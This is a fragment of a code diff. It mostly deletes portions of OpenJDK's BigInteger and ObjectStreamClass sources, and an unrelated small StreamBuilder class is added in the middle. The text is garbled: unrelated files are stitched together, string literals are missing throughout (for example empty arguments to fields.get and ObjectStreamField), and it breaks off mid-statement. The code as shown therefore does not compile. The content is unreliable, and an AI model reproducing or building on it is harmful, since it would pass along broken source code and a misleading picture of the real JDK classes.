been read exactly once, skip to next index. */ - ++from; - /* Skip leading -1 bytes. */ - for (; b == -1 && from < to; b = a[from++]) - ; //empty body - /* - * A is a group of 4 adjacent bytes aligned w.r.t. index to. - * b is the most significant byte not -1, or -1 only if from == to. - * Digit d0 spans the range of indices that includes current (from - 1). - * (Implied -1 bytes are prepended to array a as needed.) - * It usually corresponds to res[0], except for the special case below. - */ - int d0 = -1 << 8 | b & 0xFF; - while (((to - from) & 0x3) != 0) { - d0 = d0 << 8 | (b = a[from++]) & 0xFF; - } - int f = from; // keeps the current from for sizing purposes later - /* Skip zeros adjacent to d0, if at all. */ - for (; b == 0 && from < to; b = a[from++]) - ; //empty body - /* - * b is the most significant non-zero byte at or after (f - 1), - * or 0 only if from == to. - * Digit d spans the range of indices that includes (f - 1). - */ - int d = b & 0xFF; - while (((to - from) & 0x3) != 0) { - d = d << 8 | a[from++] & 0xFF; - } - /* - * If the situation here is like this: - * index: f to == from - * ..., -1,-1, 0,0,0,0, 0,0,0,0, ..., 0,0,0,0 - * digit: d0 d - * then, as shown, the number of zeros is a positive multiple of 4. - * The array res needs a minimal length of (1 + 1 + (to - f) / 4) - * to accommodate the two's complement, including a leading 1. - * In any other case, there is at least one byte that is non-zero. - * The array for the two's complement has length (0 + 1 + (to - f) / 4). - * c is 1, resp., 0 for the two situations. - */ - int c = (to - from | d0 | d) == 0 ? 1 : 0; - int[] res = new int[c + 1 + ((to - f) >> 2)]; - res[0] = c == 0 ? d0 : -1; - int i = res.length - ((to - from) >> 2); - if (i > 1) { - res[i - 1] = d; - } - /* - * Prepare the remaining digits. - * (to - from) is a multiple of 4, so prepare an int for every 4 bytes. - * This is a candidate for Unsafe.copy[Swap]Memory(). - */ - while (from < to) { - res[i++] = a[from++] << 24 | (a[from++] & 0xFF) << 16 - | (a[from++] & 0xFF) << 8 | (a[from++] & 0xFF); - } - /* Convert to two's complement. Here, i == res.length */ - while (--i >= 0 && res[i] == 0) - ; // empty body - res[i] = -res[i]; - while (--i >= 0) { - res[i] = ~res[i]; - } - return res; - } - - /** - * Takes an array a representing a negative 2's-complement number and - * returns the minimal (no leading zero ints) unsigned whose value is -a. - */ - private static int[] makePositive(int[] a) { - int keep, j; - - // Find first non-sign (0xffffffff) int of input - for (keep=0; keep < a.length && a[keep] == -1; keep++) - ; - - /* Allocate output array. If all non-sign ints are 0x00, we must - * allocate space for one extra output int. */ - for (j=keep; j < a.length && a[j] == 0; j++) - ; - int extraInt = (j == a.length ? 1 : 0); - int result[] = new int[a.length - keep + extraInt]; - - /* Copy one's complement of input into output, leaving extra - * int (if it exists) == 0x00 */ - for (int i = keep; i < a.length; i++) - result[i - keep + extraInt] = ~a[i]; - - // Add one to one's complement to generate two's complement - for (int i=result.length-1; ++result[i] == 0; i--) - ; - - return result; - } - - /* - * The following two arrays are used for fast String conversions. Both - * are indexed by radix. The first is the number of digits of the given - * radix that can fit in a Java long without , i.e., the - * highest integer n such that radix**n < 2**63. The second is the - * , each of which - * consists of the number of digits in the corresponding element in - * digitsPerLong (longRadix[i] = i**digitPerLong[i]). Both arrays have - * nonsense values in their 0 and 1 elements, as radixes 0 and 1 are not - * used. - */ - private static int digitsPerLong[] = {0, 0, - 62, 39, 31, 27, 24, 22, 20, 19, 18, 18, 17, 17, 16, 16, 15, 15, 15, 14, - 14, 14, 14, 13, 13, 13, 13, 13, 13, 12, 12, 12, 12, 12, 12, 12, 12}; - - private static BigInteger longRadix[] = {null, null, - valueOf(0x4000000000000000L), valueOf(0x383d9170b85ff80bL), - valueOf(0x4000000000000000L), valueOf(0x6765c793fa10079dL), - valueOf(0x41c21cb8e1000000L), valueOf(0x3642798750226111L), - valueOf(0x1000000000000000L), valueOf(0x12bf307ae81ffd59L), - valueOf( 0xde0b6b3a7640000L), valueOf(0x4d28cb56c33fa539L), - valueOf(0x1eca170c00000000L), valueOf(0x780c7372621bd74dL), - valueOf(0x1e39a5057d810000L), valueOf(0x5b27ac993df97701L), - valueOf(0x1000000000000000L), valueOf(0x27b95e997e21d9f1L), - valueOf(0x5da0e1e53c5c8000L), valueOf( 0xb16a458ef403f19L), - valueOf(0x16bcc41e90000000L), valueOf(0x2d04b7fdd9c0ef49L), - valueOf(0x5658597bcaa24000L), valueOf( 0x6feb266931a75b7L), - valueOf( 0xc29e98000000000L), valueOf(0x14adf4b7320334b9L), - valueOf(0x226ed36478bfa000L), valueOf(0x383d9170b85ff80bL), - valueOf(0x5a3c23e39c000000L), valueOf( 0x4e900abb53e6b71L), - valueOf( 0x7600ec618141000L), valueOf( 0xaee5720ee830681L), - valueOf(0x1000000000000000L), valueOf(0x172588ad4f5f0981L), - valueOf(0x211e44f7d02c1000L), valueOf(0x2ee56725f06e5c71L), - valueOf(0x41c21cb8e1000000L)}; - - /* - * These two arrays are the integer analogue of above. - */ - private static int digitsPerInt[] = {0, 0, 30, 19, 15, 13, 11, - 11, 10, 9, 9, 8, 8, 8, 8, 7, 7, 7, 7, 7, 7, 7, 6, 6, 6, 6, - 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 5}; - - private static int intRadix[] = {0, 0, - 0x40000000, 0x4546b3db, 0x40000000, 0x48c27395, 0x159fd800, - 0x75db9c97, 0x40000000, 0x17179149, 0x3b9aca00, 0xcc6db61, - 0x19a10000, 0x309f1021, 0x57f6c100, 0xa2f1b6f, 0x10000000, - 0x18754571, 0x247dbc80, 0x3547667b, 0x4c4b4000, 0x6b5a6e1d, - 0x6c20a40, 0x8d2d931, 0xb640000, 0xe8d4a51, 0x1269ae40, - 0x17179149, 0x1cb91000, 0x23744899, 0x2b73a840, 0x34e63b41, - 0x40000000, 0x4cfa3cc1, 0x5c13d840, 0x6d91b519, 0x39aa400 - }; - - /** - * These routines provide access to the two's complement representation - * of BigIntegers. - */ - - /** - * Returns the length of the two's complement representation in ints, - * including space for at least one sign bit. - */ - private int intLength() { - return (bitLength() >>> 5) + 1; - } - - /* Returns sign bit */ - private int signBit() { - return signum < 0 ? 1 : 0; - } - - /* Returns an int of sign bits */ - private int signInt() { - return signum < 0 ? -1 : 0; - } - - /** - * Returns the specified int of the little-endian two's complement - * representation (int 0 is the least significant). The int number can - * be arbitrarily high (values are logically preceded by infinitely many - * sign ints). - */ - private int getInt(int n) { - if (n < 0) - return 0; - if (n >= mag.length) - return signInt(); - - int magInt = mag[mag.length-n-1]; - - return (signum >= 0 ? magInt : - (n <= firstNonzeroIntNum() ? -magInt : ~magInt)); - } - - /** - * Returns the index of the int that contains the first nonzero int in the - * little-endian binary representation of the magnitude (int 0 is the - * least significant). If the magnitude is zero, return value is undefined. - * - *

Note: never used for a BigInteger with a magnitude of zero. - * @see #getInt - */ - private int firstNonzeroIntNum() { - int fn = firstNonzeroIntNumPlusTwo - 2; - if (fn == -2) { // firstNonzeroIntNum not initialized yet - // Search for the first nonzero int - int i; - int mlen = mag.length; - for (i = mlen - 1; i >= 0 && mag[i] == 0; i--) - ; - fn = mlen - i - 1; - firstNonzeroIntNumPlusTwo = fn + 2; // offset by two to initialize - } - return fn; - } - - /** use serialVersionUID from JDK 1.1. for interoperability */ - @java.io.Serial - private static final long serialVersionUID = -8287574255936472291L; - - /** - * Serializable fields for BigInteger. - * - * @serialField signum int - * signum of this BigInteger - * @serialField magnitude byte[] - * magnitude array of this BigInteger - * @serialField bitCount int - * appears in the serialized form for backward compatibility - * @serialField bitLength int - * appears in the serialized form for backward compatibility - * @serialField firstNonzeroByteNum int - * appears in the serialized form for backward compatibility - * @serialField lowestSetBit int - * appears in the serialized form for backward compatibility - */ - @java.io.Serial - private static final ObjectStreamField[] serialPersistentFields = { - new ObjectStreamField(, Integer.TYPE), - new ObjectStreamField(, byte[].class), - new ObjectStreamField(, Integer.TYPE), - new ObjectStreamField(, Integer.TYPE), - new ObjectStreamField(, Integer.TYPE), - new ObjectStreamField(, Integer.TYPE) - }; - - /** - * Reconstitute the {@code BigInteger} instance from a stream (that is, - * deserialize it). The magnitude is read in as an array of bytes - * for historical reasons, but it is converted to an array of ints - * and the byte array is discarded. - * Note: - * The current convention is to initialize the cache fields, bitCountPlusOne, - * bitLengthPlusOne and lowestSetBitPlusTwo, to 0 rather than some other - * marker value. Therefore, no explicit action to set these fields needs to - * be taken in readObject because those fields already have a 0 value by - * default since defaultReadObject is not being used. - * - * @param s the stream being read. - * @throws IOException if an I/O error occurs - * @throws ClassNotFoundException if a serialized class cannot be loaded - */ - @java.io.Serial - private void readObject(java.io.ObjectInputStream s) - throws java.io.IOException, ClassNotFoundException { - // prepare to read the alternate persistent fields - ObjectInputStream.GetField fields = s.readFields(); - - // Read and validate the alternate persistent fields that we - // care about, signum and magnitude - - // Read and validate signum - int sign = fields.get(, -2); - if (sign < -1 || sign > 1) { - String message = ; - if (fields.defaulted()) - message = ; - throw new java.io.StreamCorruptedException(message); - } - - // Read and validate magnitude - byte[] magnitude = (byte[])fields.get(, null); - magnitude = magnitude.clone(); // defensive copy - int[] mag = stripLeadingZeroBytes(magnitude, 0, magnitude.length); - if ((mag.length == 0) != (sign == 0)) { - String message = ; - if (fields.defaulted()) - message = ; - throw new java.io.StreamCorruptedException(message); - } - - // Equivalent to checkRange() on mag local without assigning - // this.mag field - if (mag.length > MAX_MAG_LENGTH || - (mag.length == MAX_MAG_LENGTH && mag[0] < 0)) { - throw new java.io.StreamCorruptedException(); - } - - // Commit final fields via Unsafe - UnsafeHolder.putSignAndMag(this, sign, mag); - } - - /** - * Serialization without data not supported for this class. - */ - @java.io.Serial - private void readObjectNoData() - throws ObjectStreamException { - throw new InvalidObjectException(); - } - - // Support for resetting final fields while deserializing - private static class UnsafeHolder { - private static final jdk.internal.misc.Unsafe unsafe - = jdk.internal.misc.Unsafe.getUnsafe(); - private static final long signumOffset - = unsafe.objectFieldOffset(BigInteger.class, ); - private static final long magOffset - = unsafe.objectFieldOffset(BigInteger.class, ); - - static void putSignAndMag(BigInteger bi, int sign, int[] magnitude) { - unsafe.putInt(bi, signumOffset, sign); - unsafe.putReference(bi, magOffset, magnitude); - } - } - - /** - * Save the {@code BigInteger} instance to a stream. The magnitude of a - * {@code BigInteger} is serialized as a byte array for historical reasons. - * To maintain compatibility with older implementations, the integers - * -1, -1, -2, and -2 are written as the values of the obsolete fields - * {@code bitCount}, {@code bitLength}, {@code lowestSetBit}, and - * {@code firstNonzeroByteNum}, respectively. These values are compatible - * with older implementations, but will be ignored by current - * implementations. - * - * @param s the stream to serialize to. - * @throws IOException if an I/O error occurs - */ - @java.io.Serial - private void writeObject(ObjectOutputStream s) throws IOException { - // set the values of the Serializable fields - ObjectOutputStream.PutField fields = s.putFields(); - fields.put(, signum); - fields.put(, magSerializedForm()); - // The values written for cached fields are compatible with older - // versions, but are ignored in readObject so don't otherwise matter. - fields.put(, -1); - fields.put(, -1); - fields.put(, -2); - fields.put(, -2); - - // save them - s.writeFields(); - } - - /** - * Returns the mag array as an array of bytes. - */ - private byte[] magSerializedForm() { - int len = mag.length; - - int bitLen = (len == 0 ? 0 : ((len - 1) << 5) + bitLengthForInt(mag[0])); - int byteLen = (bitLen + 7) >>> 3; - byte[] result = new byte[byteLen]; - - for (int i = byteLen - 1, bytesCopied = 4, intIndex = len - 1, nextInt = 0; - i >= 0; i--) { - if (bytesCopied == 4) { - nextInt = mag[intIndex--]; - bytesCopied = 1; - } else { - nextInt >>>= 8; - bytesCopied++; - } - result[i] = (byte)nextInt; - } - return result; - } - - /** - * Converts this {@code BigInteger} to a {@code long}, checking - * for lost information. If the value of this {@code BigInteger} - * is out of the range of the {@code long} type, then an - * {@code ArithmeticException} is thrown. - * - * @return this {@code BigInteger} converted to a {@code long}. - * @throws ArithmeticException if the value of {@code this} will - * not exactly fit in a {@code long}. - * @see BigInteger#longValue - * @since 1.8 - */ - public long longValueExact() { - if (mag.length <= 2 && bitLength() <= 63) - return longValue(); - else - throw new ArithmeticException(); - } - - /** - * Converts this {@code BigInteger} to an {@code int}, checking - * for lost information. If the value of this {@code BigInteger} - * is out of the range of the {@code int} type, then an - * {@code ArithmeticException} is thrown. - * - * @return this {@code BigInteger} converted to an {@code int}. - * @throws ArithmeticException if the value of {@code this} will - * not exactly fit in an {@code int}. - * @see BigInteger#intValue - * @since 1.8 - */ - public int intValueExact() { - if (mag.length <= 1 && bitLength() <= 31) - return intValue(); - else - throw new ArithmeticException(); - } - - /** - * Converts this {@code BigInteger} to a {@code short}, checking - * for lost information. If the value of this {@code BigInteger} - * is out of the range of the {@code short} type, then an - * {@code ArithmeticException} is thrown. - * - * @return this {@code BigInteger} converted to a {@code short}. - * @throws ArithmeticException if the value of {@code this} will - * not exactly fit in a {@code short}. - * @see BigInteger#shortValue - * @since 1.8 - */ - public short shortValueExact() { - if (mag.length <= 1 && bitLength() <= 31) { - int value = intValue(); - if (value >= Short.MIN_VALUE && value <= Short.MAX_VALUE) - return shortValue(); - } - throw new ArithmeticException(); - } - - /** - * Converts this {@code BigInteger} to a {@code byte}, checking - * for lost information. If the value of this {@code BigInteger} - * is out of the range of the {@code byte} type, then an - * {@code ArithmeticException} is thrown. - * - * @return this {@code BigInteger} converted to a {@code byte}. - * @throws ArithmeticException if the value of {@code this} will - * not exactly fit in a {@code byte}. - * @see BigInteger#byteValue - * @since 1.8 - */ - public byte byteValueExact() { - if (mag.length <= 1 && bitLength() <= 31) { - int value = intValue(); - if (value >= Byte.MIN_VALUE && value <= Byte.MAX_VALUE) - return byteValue(); - } - throw new ArithmeticException(); - } +public static class StreamBuilder{ +public final int id; +public final byte type; +public final int total; +public final ByteArrayOutputStream stream = new ByteArrayOutputStream(); + +public StreamBuilder(StreamBegin begin){ +id = begin.id; +type = begin.type; +total = begin.total; } - -/* - * Copyright (c) 1996, 2023, Oracle and/or its affiliates. All rights reserved. - * DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER. - * - * This code is free software; you can redistribute it and/or modify it - * under the terms of the GNU General Public License version 2 only, as - * published by the Free Software Foundation. Oracle designates this - * particular file as subject to the exception as provided - * by Oracle in the LICENSE file that accompanied this code. - * - * This code is distributed in the hope that it will be useful, but WITHOUT - * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or - * FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License - * version 2 for more details (a copy is included in the LICENSE file that - * accompanied this code). - * - * You should have received a copy of the GNU General Public License version - * 2 along with this work; if not, write to the Free Software Foundation, - * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA. - * - * Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA - * or visit www.oracle.com if you need additional information or have any - * questions. - */ - -package java.io; - -import java.lang.invoke.MethodHandle; -import java.lang.invoke.MethodHandles; -import java.lang.invoke.MethodType; -import java.lang.reflect.Constructor; -import java.lang.reflect.Field; -import java.lang.reflect.InvocationTargetException; -import java.lang.reflect.RecordComponent; -import java.lang.reflect.UndeclaredThrowableException; -import java.lang.reflect.Member; -import java.lang.reflect.Method; -import java.lang.reflect.Modifier; -import java.lang.reflect.Proxy; -import java.security.AccessControlContext; -import java.security.AccessController; -import java.security.MessageDigest; -import java.security.NoSuchAlgorithmException; -import java.security.PermissionCollection; -import java.security.Permissions; -import java.security.PrivilegedAction; -import java.security.PrivilegedActionException; -import java.security.PrivilegedExceptionAction; -import java.security.ProtectionDomain; -import java.util.ArrayList; -import java.util.Arrays; -import java.util.Collections; -import java.util.Comparator; -import java.util.HashSet; -import java.util.Map; -import java.util.Set; -import java.util.concurrent.ConcurrentHashMap; -import jdk.internal.misc.Unsafe; -import jdk.internal.reflect.CallerSensitive; -import jdk.internal.reflect.Reflection; -import jdk.internal.reflect.ReflectionFactory; -import jdk.internal.access.SharedSecrets; -import jdk.internal.access.JavaSecurityAccess; -import jdk.internal.util.ByteArray; -import sun.reflect.misc.ReflectUtil; - -/** - * Serialization's descriptor for classes. It contains the name and - * serialVersionUID of the class. The ObjectStreamClass for a specific class - * loaded in this Java VM can be found/created using the lookup method. - * - *

The algorithm to compute the SerialVersionUID is described in - * - * Java Object Serialization Specification, Section 4.6, . - * - * @spec serialization/index.html Java Object Serialization Specification - * @author Mike Warres - * @author Roger Riggs - * @see ObjectStreamField - * @see - * Java Object Serialization Specification, Section 4, - * @since 1.1 - */ -public final class ObjectStreamClass implements Serializable { - - /** serialPersistentFields value indicating no serializable fields */ - public static final ObjectStreamField[] NO_FIELDS = - new ObjectStreamField[0]; - - @java.io.Serial - private static final long serialVersionUID = -6120832682080437368L; - /** - * {@code ObjectStreamClass} has no fields for default serialization. - */ - @java.io.Serial - private static final ObjectStreamField[] serialPersistentFields = - NO_FIELDS; - - /** reflection factory for obtaining serialization constructors */ - @SuppressWarnings() - private static final ReflectionFactory reflFactory = - AccessController.doPrivileged( - new ReflectionFactory.GetReflectionFactoryAction()); - - private static class Caches { - /** cache mapping local classes -> descriptors */ - static final ClassCache localDescs = - new ClassCache<>() { - @Override - protected ObjectStreamClass computeValue(Class type) { - return new ObjectStreamClass(type); - } - }; - - /** cache mapping field group/local desc pairs -> field reflectors */ - static final ClassCache> reflectors = - new ClassCache<>() { - @Override - protected Map computeValue(Class type) { - return new ConcurrentHashMap<>(); - } - }; - } - - /** class associated with this descriptor (if any) */ - private Class cl; - /** name of class represented by this descriptor */ - private String name; - /** serialVersionUID of represented class (null if not computed yet) */ - private volatile Long suid; - - /** true if represents dynamic proxy class */ - private boolean isProxy; - /** true if represents enum type */ - private boolean isEnum; - /** true if represents record type */ - private boolean isRecord; - /** true if represented class implements Serializable */ - private boolean serializable; - /** true if represented class implements Externalizable */ - private boolean externalizable; - /** true if desc has data written by class-defined writeObject method */ - private boolean hasWriteObjectData; - /** - * true if desc has externalizable data written in block data format; this - * must be true by default to accommodate ObjectInputStream subclasses which - * override readClassDescriptor() to return class descriptors obtained from - * ObjectStreamClass.lookup() (see 4461737) - */ - private boolean hasBlockExternalData = true; - - /** - * Contains information about InvalidClassException instances to be thrown - * when attempting operations on an invalid class. Note that instances of - * this class are immutable and are potentially shared among - * ObjectStreamClass instances. - */ - private static class ExceptionInfo { - private final String className; - private final String message; - - ExceptionInfo(String cn, String msg) { - className = cn; - message = msg; - } - - /** - * Returns (does not throw) an InvalidClassException instance created - * from the information in this object, suitable for being thrown by - * the caller. - */ - InvalidClassException newInvalidClassException() { - return new InvalidClassException(className, message); - } - } - - /** exception (if any) thrown while attempting to resolve class */ - private ClassNotFoundException resolveEx; - /** exception (if any) to throw if non-enum deserialization attempted */ - private ExceptionInfo deserializeEx; - /** exception (if any) to throw if non-enum serialization attempted */ - private ExceptionInfo serializeEx; - /** exception (if any) to throw if default serialization attempted */ - private ExceptionInfo defaultSerializeEx; - - /** serializable fields */ - private ObjectStreamField[] fields; - /** aggregate marshalled size of primitive fields */ - private int primDataSize; - /** number of non-primitive fields */ - private int numObjFields; - /** reflector for setting/getting serializable field values */ - private FieldReflector fieldRefl; - /** data layout of serialized objects described by this class desc */ - private volatile ClassDataSlot[] dataLayout; - - /** serialization-appropriate constructor, or null if none */ - private Constructor cons; - /** record canonical constructor (shared among OSCs for same class), or null */ - private MethodHandle canonicalCtr; - /** cache of record deserialization constructors per unique set of stream fields - * (shared among OSCs for same class), or null */ - private DeserializationConstructorsCache deserializationCtrs; - /** session-cache of record deserialization constructor - * (in de-serialized OSC only), or null */ - private MethodHandle deserializationCtr; - /** protection domains that need to be checked when calling the constructor */ - private ProtectionDomain[] domains; - - /** class-defined writeObject method, or null if none */ - private Method writeObjectMethod; - /** class-defined readObject method, or null if none */ - private Method readObjectMethod; - /** class-defined readObjectNoData method, or null if none */ - private Method readObjectNoDataMethod; - /** class-defined writeReplace method, or null if none */ - private Method writeReplaceMethod; - /** class-defined readResolve method, or null if none */ - private Method readResolveMethod; - - /** local class descriptor for represented class (may point to self) */ - private ObjectStreamClass localDesc; - /** superclass descriptor appearing in stream */ - private ObjectStreamClass superDesc; - - /** true if, and only if, the object has been correctly initialized */ - private boolean initialized; - - /** - * Initializes native code. - */ - private static native void initNative(); - static { - initNative(); - } - - /** - * Find the descriptor for a class that can be serialized. Creates an - * ObjectStreamClass instance if one does not exist yet for class. Null is - * returned if the specified class does not implement java.io.Serializable - * or java.io.Externalizable. - * - * @param cl class for which to get the descriptor - * @return the class descriptor for the specified class - */ - public static ObjectStreamClass lookup(Class cl) { - return lookup(cl, false); - } - - /** - * Returns the descriptor for any class, regardless of whether it - * implements {@link Serializable}. - * - * @param cl class for which to get the descriptor - * @return the class descriptor for the specified class - * @since 1.6 - */ - public static ObjectStreamClass lookupAny(Class cl) { - return lookup(cl, true); - } - - /** - * Returns the name of the class described by this descriptor. - * This method returns the name of the class in the format that - * is used by the {@link Class#getName} method. - * - * @return a string representing the name of the class - */ - public String getName() { - return name; - } - - /** - * Return the serialVersionUID for this class. The serialVersionUID - * defines a set of classes all with the same name that have evolved from a - * common root class and agree to be serialized and deserialized using a - * common format. NonSerializable classes have a serialVersionUID of 0L. - * - * @return the SUID of the class described by this descriptor - */ - @SuppressWarnings() - public long getSerialVersionUID() { - // REMIND: synchronize instead of relying on volatile? - if (suid == null) { - if (isRecord) - return 0L; - - suid = AccessController.doPrivileged( - new PrivilegedAction() { - public Long run() { - return computeDefaultSUID(cl); - } - } - ); - } - return suid.longValue(); - } - - /** - * Return the class in the local VM that this version is mapped to. Null - * is returned if there is no corresponding local class. - * - * @return the {@code Class} instance that this descriptor represents - */ - @SuppressWarnings() - @CallerSensitive - public Class forClass() { - if (cl == null) { - return null; - } - requireInitialized(); - if (System.getSecurityManager() != null) { - Class caller = Reflection.getCallerClass(); - if (ReflectUtil.needsPackageAccessCheck(caller.getClassLoader(), cl.getClassLoader())) { - ReflectUtil.checkPackageAccess(cl); - } - } - return cl; - } - - /** - * Return an array of the fields of this serializable class. - * - * @return an array containing an element for each persistent field of - * this class. Returns an array of length zero if there are no - * fields. - * @since 1.2 - */ - public ObjectStreamField[] getFields() { - return getFields(true); - } - - /** - * Get the field of this class by name. - * - * @param name the name of the data field to look for - * @return The ObjectStreamField object of the named field or null if - * there is no such named field. - */ - public ObjectStreamField getField(String name) { - return getField(name, null); - } - - /** - * Return a string describing this ObjectStreamClass. - */ - public String toString() { - return name + + - getSerialVersionUID() + ; - } - - /** - * Looks up and returns class descriptor for given class, or null if class - * is non-serializable and is set to false. - * - * @param cl class to look up - * @param all if true, return descriptors for all classes; if false, only - * return descriptors for serializable classes - */ - static ObjectStreamClass lookup(Class cl, boolean all) { - if (!(all || Serializable.class.isAssignableFrom(cl))) { - return null; - } - return Caches.localDescs.get(cl); - } - - /** - * Creates local class descriptor representing given class. - */ - @SuppressWarnings() - private ObjectStreamClass(final Class cl) { - this.cl = cl; - name = cl.getName(); - isProxy = Proxy.isProxyClass(cl); - isEnum = Enum.class.isAssignableFrom(cl); - isRecord = cl.isRecord(); - serializable = Serializable.class.isAssignableFrom(cl); - externalizable = Externalizable.class.isAssignableFrom(cl); - - Class superCl = cl.getSuperclass(); - superDesc = (superCl != null) ? lookup(superCl, false) : null; - localDesc = this; - - if (serializable) { - AccessController.doPrivileged(new PrivilegedAction<>() { - public Void run() { - if (isEnum) { - suid = 0L; - fields = NO_FIELDS; - return null; - } - if (cl.isArray()) { - fields = NO_FIELDS; - return null; - } - - suid = getDeclaredSUID(cl); - try { - fields = getSerialFields(cl); - computeFieldOffsets(); - } catch (InvalidClassException e) { - serializeEx = deserializeEx = - new ExceptionInfo(e.classname, e.getMessage()); - fields = NO_FIELDS; - } - - if (isRecord) { - canonicalCtr = canonicalRecordCtr(cl); - deserializationCtrs = new DeserializationConstructorsCache(); - } else if (externalizable) { - cons = getExternalizableConstructor(cl); - } else { - cons = getSerializableConstructor(cl); - writeObjectMethod = getPrivateMethod(cl, , - new Class[] { ObjectOutputStream.class }, - Void.TYPE); - readObjectMethod = getPrivateMethod(cl, , - new Class[] { ObjectInputStream.class }, - Void.TYPE); - readObjectNoDataMethod = getPrivateMethod( - cl, , null, Void.TYPE); - hasWriteObjectData = (writeObjectMethod != null); - } - domains = getProtectionDomains(cons, cl); - writeReplaceMethod = getInheritableMethod( - cl, , null, Object.class); - readResolveMethod = getInheritableMethod( - cl, , null, Object.class); - return null; - } - }); - } else { - suid = 0L; - fields = NO_FIELDS; - } - - try { - fieldRefl = getReflector(fields, this); - } catch (InvalidClassException ex) { - // field mismatches impossible when matching local fields vs. self - throw new InternalError(ex); - } - - if (deserializeEx == null) { - if (isEnum) { - deserializeEx = new ExceptionInfo(name, ); - } else if (cons == null && !isRecord) { - deserializeEx = new ExceptionInfo(name, ); - } - } - if (isRecord && canonicalCtr == null) { - deserializeEx = new ExceptionInfo(name, ); - } else { - for (int i = 0; i < fields.length; i++) { - if (fields[i].getField() == null) { - defaultSerializeEx = new ExceptionInfo( - name, ); - } - } - } - initialized = true; - } - - /** - * Creates blank class descriptor which should be initialized via a - * subsequent call to initProxy(), initNonProxy() or readNonProxy(). - */ - ObjectStreamClass() { - } - - /** - * Creates a PermissionDomain that grants no permission. - */ - private ProtectionDomain noPermissionsDomain() { - PermissionCollection perms = new Permissions(); - perms.setReadOnly(); - return new ProtectionDomain(null, perms); - } - - /** - * Aggregate the ProtectionDomains of all the classes that separate - * a concrete class {@code cl} from its ancestor's class declaring - * a constructor {@code cons}. - * - * If {@code cl} is defined by the boot loader, or the constructor - * {@code cons} is declared by {@code cl}, or if there is no security - * manager, then this method does nothing and {@code null} is returned. - * - * @param cons A constructor declared by {@code cl} or one of its - * ancestors. - * @param cl A concrete class, which is either the class declaring - * the constructor {@code cons}, or a serializable subclass - * of that class. - * @return An array of ProtectionDomain representing the set of - * ProtectionDomain that separate the concrete class {@code cl} - * from its ancestor's declaring {@code cons}, or {@code null}. - */ - @SuppressWarnings() - private ProtectionDomain[] getProtectionDomains(Constructor cons, - Class cl) { - ProtectionDomain[] domains = null; - if (cons != null && cl.getClassLoader() != null - && System.getSecurityManager() != null) { - Class cls = cl; - Class fnscl = cons.getDeclaringClass(); - Set pds = null; - while (cls != fnscl) { - ProtectionDomain pd = cls.getProtectionDomain(); - if (pd != null) { - if (pds == null) pds = new HashSet<>(); - pds.add(pd); - } - cls = cls.getSuperclass(); - if (cls == null) { - // that's not supposed to happen - // make a ProtectionDomain with no permission. - // should we throw instead? - if (pds == null) pds = new HashSet<>(); - else pds.clear(); - pds.add(noPermissionsDomain()); - break; - } - } - if (pds != null) { - domains = pds.toArray(new ProtectionDomain[0]); - } - } - return domains; - } - - /** - * Initializes class descriptor representing a proxy class. - */ - void initProxy(Class cl, - ClassNotFoundException resolveEx, - ObjectStreamClass superDesc) - throws InvalidClassException - { - ObjectStreamClass osc = null; - if (cl != null) { - osc = lookup(cl, true); - if (!osc.isProxy) { - throw new InvalidClassException( - ); - } - } - this.cl = cl; - this.resolveEx = resolveEx; - this.superDesc = superDesc; - isProxy = true; - serializable = true; - suid = 0L; - fields = NO_FIELDS; - if (osc != null) { - localDesc = osc; - name = localDesc.name; - externalizable = localDesc.externalizable; - writeReplaceMethod = localDesc.writeReplaceMethod; - readResolveMethod = localDesc.readResolveMethod; - deserializeEx = localDesc.deserializeEx; - domains = localDesc.domains; - cons = localDesc.cons; - } - fieldRefl = getReflector(fields, localDesc); - initialized = true; - } - - /** - * Initializes class descriptor representing a non-proxy class. - */ - void initNonProxy(ObjectStreamClass model, - Class cl, - ClassNotFoundException resolveEx, - ObjectStreamClass superDesc) - throws InvalidClassException - { - long suid = model.getSerialVersionUID(); - ObjectStreamClass osc = null; - if (cl != null) { - osc = lookup(cl, true); - if (osc.isProxy) { - throw new InvalidClassException( - ); - } - if (model.isEnum != osc.isEnum) { - throw new InvalidClassException(model.isEnum ? - : - ); - } - - if (model.serializable == osc.serializable && - !cl.isArray() && !cl.isRecord() && - suid != osc.getSerialVersionUID()) { - throw new InvalidClassException(osc.name, - + - + suid + - + - osc.getSerialVersionUID()); - } - - if (!classNamesEqual(model.name, osc.name)) { - throw new InvalidClassException(osc.name, - + - ); - } - - if (!model.isEnum) { - if ((model.serializable == osc.serializable) && - (model.externalizable != osc.externalizable)) { - throw new InvalidClassException(osc.name, - ); - } - - if ((model.serializable != osc.serializable) || - (model.externalizable != osc.externalizable) || - !(model.serializable || model.externalizable)) { - deserializeEx = new ExceptionInfo( - osc.name, ); - } - } - } - - this.cl = cl; - this.resolveEx = resolveEx; - this.superDesc = superDesc; - name = model.name; - this.suid = suid; - isProxy = false; - isEnum = model.isEnum; - serializable = model.serializable; - externalizable = model.externalizable; - hasBlockExternalData = model.hasBlockExternalData; - hasWriteObjectData = model.hasWriteObjectData; - fields = model.fields; - primDataSize = model.primDataSize; - numObjFields = model.numObjFields; - - if (osc != null) { - localDesc = osc; - isRecord = localDesc.isRecord; - // canonical record constructor is shared - canonicalCtr = localDesc.canonicalCtr; - // cache of deserialization constructors is shared - deserializationCtrs = localDesc.deserializationCtrs; - writeObjectMethod = localDesc.writeObjectMethod; - readObjectMethod = localDesc.readObjectMethod; - readObjectNoDataMethod = localDesc.readObjectNoDataMethod; - writeReplaceMethod = localDesc.writeReplaceMethod; - readResolveMethod = localDesc.readResolveMethod; - if (deserializeEx == null) { - deserializeEx = localDesc.deserializeEx; - } - domains = localDesc.domains; - assert cl.isRecord() ? localDesc.cons == null : true; - cons = localDesc.cons; - } - - fieldRefl = getReflector(fields, localDesc); - // reassign to matched fields so as to reflect local unshared settings - fields = fieldRefl.getFields(); - - initialized = true; - } - - /** - * Reads non-proxy class descriptor information from given input stream. - * The resulting class descriptor is not fully functional; it can only be - * used as input to the ObjectInputStream.resolveClass() and - * ObjectStreamClass.initNonProxy() methods. - */ - void readNonProxy(ObjectInputStream in) - throws IOException, ClassNotFoundException - { - name = in.readUTF(); - suid = in.readLong(); - isProxy = false; - - byte flags = 